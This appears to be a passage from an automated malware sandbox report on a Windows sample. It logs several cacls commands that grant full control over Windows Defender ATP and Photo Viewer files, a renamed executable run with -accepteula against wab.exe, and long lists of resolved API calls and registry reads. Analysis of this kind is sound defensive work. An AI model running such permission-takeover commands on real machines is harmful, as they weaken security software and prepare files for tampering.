cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #123: cacls.exe

0

»

Information	Value
ID	#123
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:58, Reason: Child Process
Unmonitor	End Time: 00:03:22, Reason: Self Terminated
Monitor Duration	00:00:23
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1100
Parent PID	0xeb4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 117C 0x 10B0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #124: cmd.exe

58

0

»

Information	Value
ID	#124
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "wab.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:58, Reason: Child Process
Unmonitor	End Time: 00:03:08, Reason: Self Terminated
Monitor Duration	00:00:09

OS Process Information

»

Information	Value
PID	0x1158
Parent PID	0x13cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 10FC 0x 10AC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x10fc

58

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 216, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1264, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #125: cacls.exe

0

»

Information	Value
ID	#125
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:00, Reason: Child Process
Unmonitor	End Time: 00:03:22, Reason: Self Terminated
Monitor Duration	00:00:22
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x10a8
Parent PID	0x1124 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x DB8 0x 1270

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #126: mxkefu6a.exe

177

0

»

Information	Value
ID	#126
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "wab.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:00, Reason: Child Process
Unmonitor	End Time: 00:03:06, Reason: Self Terminated
Monitor Duration	00:00:05

OS Process Information

»

Information	Value
PID	0x1264
Parent PID	0x1158 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12EC 0x 12F4

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040608C	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x12ec

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:41:30 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 24261186499	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
